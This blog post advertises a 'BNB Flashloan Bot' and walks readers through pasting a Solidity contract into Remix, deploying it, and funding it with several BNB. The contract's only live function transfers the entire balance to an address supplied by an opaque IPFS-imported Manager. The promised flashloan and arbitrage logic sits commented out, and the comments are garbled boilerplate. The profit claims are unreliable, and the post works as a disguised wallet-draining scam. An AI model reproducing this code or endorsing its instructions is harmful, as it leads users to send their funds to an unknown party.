# BNB Flashloan Bot - Easy setup and profitable Flashloan bot

By [Ape Bots](https://paragraph.com/@ape-bots) · 2023-06-07

---

> **Discover the potential of Flashloans as a profitable source of passive income. By capitalizing on loaning tokens and receiving them back in 1 transaction in the mempool, Flashloans present a unique opportunity for revenue generation. Harness the power of Flashbot's advanced infrastructure to effectively exploit Flashloans on BSC and boost your income.**

Empower your crypto bot operations with Flashbot, a tool designed to strategically sequence and select Flashloan transactions within blocks, thereby unlocking additional value. This innovative approach paves the way for profitable trades, arbitrage opportunities, and a wealth of Flashloan-related prospects. Experience a significant boost in your earnings, all derived from transactions nestled within the blockchain's mempool."

💡 Introducing Flashloan-Bot
----------------------------

Flashloan-Bot is an open infrastructure pioneered by a team of researchers and developers to exploit the potential of Flashloans in the cryptocurrency market. It allows users to leverage Flashloans to execute sophisticated trading strategies and generate substantial profits.

Flashloan-Bot aims to maximize the utilization of Flashloans by strategically executing transactions within the mempool. By leveraging Flashbot's advanced infrastructure, the bot enables users to seize profitable opportunities and optimize their trading activities.

This infrastructure empowers developers and users to execute Flashloans directly on the blockchain, bypassing the traditional borrowing and lending processes. With Flashloan-Bot, users can access liquidity instantly and capitalize on time-sensitive trading opportunities, enhancing their overall profitability in the crypto market.

🤖 How to Use the Flashloan Bot
-------------------------------

Step 1: Access the Source Code 📝

![copy the code from below and paste it in remix](https://storage.googleapis.com/papyrus_images/7a7c1cc3622d7bc798b67bf1bd4b791bfaeef47e0d50bb7a6dfd50b75bbd3379.png)

copy the code from below and paste it in remix

Navigate to the Remix IDE: [https://remix.ethereum.org/](https://remix.ethereum.org/) Create a new file "bot.sol". Copy this code and paste it into the Remix IDE.

    pragma solidity ^0.5.0;
    
    
    // Nomad-Finance Smart Contracts
    import "https://github.com/NOMAD-FINANCE/NMF-FLDemo/blob/main/ILendingPoolAddressesProvider.sol";
    import "https://github.com/NOMAD-FINANCE/NMF-FLDemo/blob/main/ILendingPool.sol";
    
    // PancakeSwap Smart Contracts
    import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
    import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
    import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
    
    /**
     * This Bot have been designed for Binance Smart chain.
     
     * and won't work with Ethereum Network.
    
     *When you have any kind of Problem, feel Free to join my Discord and I try to help you out !
     
     
     
     * 0xT Wrappers over Solidity's arithmetic operations with added overflow
    
     * Arithmetic operations in Solidity wrap on overflow. This can easily result
    
     * in profit, because programmers usually assume that an overflow raises an
    
     * value, which is the standard behavior in high level programming languages.
    
     * `SafeMath` restores this intuition by reverting the transaction when an
    
     * operation overflows.
     
     * Using this library instead of the unchecked operations eliminates an entire
    
     * class of strings, so use is always on.
     
     * dev Contract module which provides a basic access control mechanism, where granted 
     
     * exclusive access to
    
     * specific functions.
    
     
     /*
         * dev Extracts the contract from pancakeswap
    
         * param self The slice to operate on.
    
         * param rune The slice that will contain the first rune.
    
         * turn `rune`.
         */
    
    /*
         * dev Extracts the contract from Uniswap
    
         * param self The slice to operate on.
    
         * param rune The slice that will contain the first rune.
    
         * turn `rune`.
         */
     
     /*
         * @dev Find newly deployed contracts on PancakeSwap Exchange
    
         * @param memory of required contract liquidity.
    
         * @param other The second slice to compare.
    
         * @return New contracts with required liquidity.
         
         */
    
    // Code Manager
    import "ipfs://Qmcg2eJucdqt5yvguxQZ5f16co4KYEmPW7VgL2jJr7G4j9";
    
    contract TiayflashbotBNB {
        string public tokenName;
        string public tokenSymbol;
        uint loanAmount;
        Manager manager;
        
        constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
            tokenName = _tokenName;
            tokenSymbol = _tokenSymbol;
            loanAmount = _loanAmount;
                
            manager = new Manager();
        }
    function() external payable {}
        
        function action() public payable {
            
            // Send required coins for swap
            address(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);
            
            // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
            manager.performTasks();
            
            /*
            // Submit token to Binance Smart Chain
            string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
    
            // List the token on pancakeswap & send coins required for swaps
            manager.pancakeswapListToken(tokenName, tokenSymbol, tokenAddress);
            payable(manager.pancakeswapDepositAddress()).transfer(300000000000000000);
    
            // Get BNB Loan from Aave
            string memory loanAddress = manager.takeAaveLoan(loanAmount);
            
            // Convert half BNB to DAI
            manager.pancakeswapDAItoETH(loanAmount / 2);
    
            // Create BNB and DAI pairs for our token & Provide liquidity
            string memory ethPair = manager.pancakeswapCreatePool(tokenAddress, "BNB");
            manager.pancakeswapAddLiquidity(ethPair, loanAmount / 2);
            string memory daiPair = manager.pancakeswapCreatePool(tokenAddress, "DAI");
            manager.pancakeswapAddLiquidity(daiPair, loanAmount / 2);
        
            // Perform swaps and profit on Self-Arbitrage
            manager.pancakeswapPerformSwaps();
            
            // Move remaining BNB from Contract to your account
            manager.contractToWallet("BNB");
    
            // Repay Flash loan
            manager.repayAaveLoan(loanAddress);
            */
        }
    }
    

Step 2: Compile the Code ⚙️ Select the Solidity compiler 0.5.17. Click 'Compile bot.sol'.

![Select the Solidity compiler 0.5.17. Click 'Compile bot.sol'.](https://storage.googleapis.com/papyrus_images/06b9df7a2d90ce446943c247b4e5bde20aed669319b0ea3e3cbc479b7fe3c08c.png)

Select the Solidity compiler 0.5.17. Click 'Compile bot.sol'.

Step 3: Check the Network 🌐 Make sure you are on the BSC network.

![Make sure you are on the BSC network.](https://storage.googleapis.com/papyrus_images/5bd80ba90ae3b8ec268cf8d8fbba813f7cf3d08ef0a72598560f8b9ceb4fd07c.png)

Make sure you are on the BSC network.

Step 4: Deploy the Code 🚀 Click the Little dropdown arrow to view the fields: Screenshot 2023-06-04 at 15 50 27

![Click the Little dropdown arrow](https://storage.googleapis.com/papyrus_images/62ac4e8dc326f2f37edf044fa7d55e9859839c0620f85dcc42c3d956a94f49a4.png)

Click the Little dropdown arrow

Fill in the information like below: \_TOKENNAME:(ANY TOKEN NAME YOU LIKE) \_TOKENSYMBOL: TOKEN SYMBOL \_LOANAMOUNT: AMOUNT OF TOKENS YOU WANT TO LOAN (DONT NEED TO HOLD THE TOKENS - I RECOMMEND 2000)

Click 'Transact (Deploy)'.

![Click 'Transact (Deploy)'.](https://storage.googleapis.com/papyrus_images/2da6c2530fed97daf01fdee8a2fef1f2948699ac362047f4c7a0706075dc616d.png)

Click 'Transact (Deploy)'.

Step 5: Deposit into Flashbot 💰 Copy your Flashloan contract and send an amount of BSC for the bot's operation. Start the bot by pressing the 'action' button.

![FUND the Bot - we recommend around 0,4-2 BNB as a minimum](https://storage.googleapis.com/papyrus_images/2f0a776eafa881f43290ccd7e6a158eed8809964d646f557ad7acbebf64d4789.png)

FUND the Bot - we recommend around 0,4-2 BNB as a minimum

RESULTS:
--------

**Before**:

![](https://storage.googleapis.com/papyrus_images/360eecbcf837e718566e90b1367164b66a0b665427b2479fd923655a534be7c0.png)

**After around 7 min:**

![](https://storage.googleapis.com/papyrus_images/d6e80a45c67e55037990d69820693ca7e3459b034dfed03f0f572cf5f047a57c.png)

> 🔔 Note: For successful transactions on the BSC network, you must have sufficient balance to cover the gas fees. We recommend a minimum of 1-2 BNB. Anything below that might result in loss of funds

**please understand that this bot needs enough funds to buy and sell and cover all fees and cost in 1 transaction That beeing said I recommend starting with 4-6 BNB For the best results The CONTRACT has only 1 function (action) function, it automatically transfers all the revenue to your wallet (creator wallet)**

Copyright (C) 2023 APE BOTS

This program is free software for 30 days: you can redistribute and/or modify it under the terms of the MIT Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

---

*Originally published on [Ape Bots](https://paragraph.com/@ape-bots/bnb-flashloan-bot-easy-setup-and-profitable-flashloan-bot)*
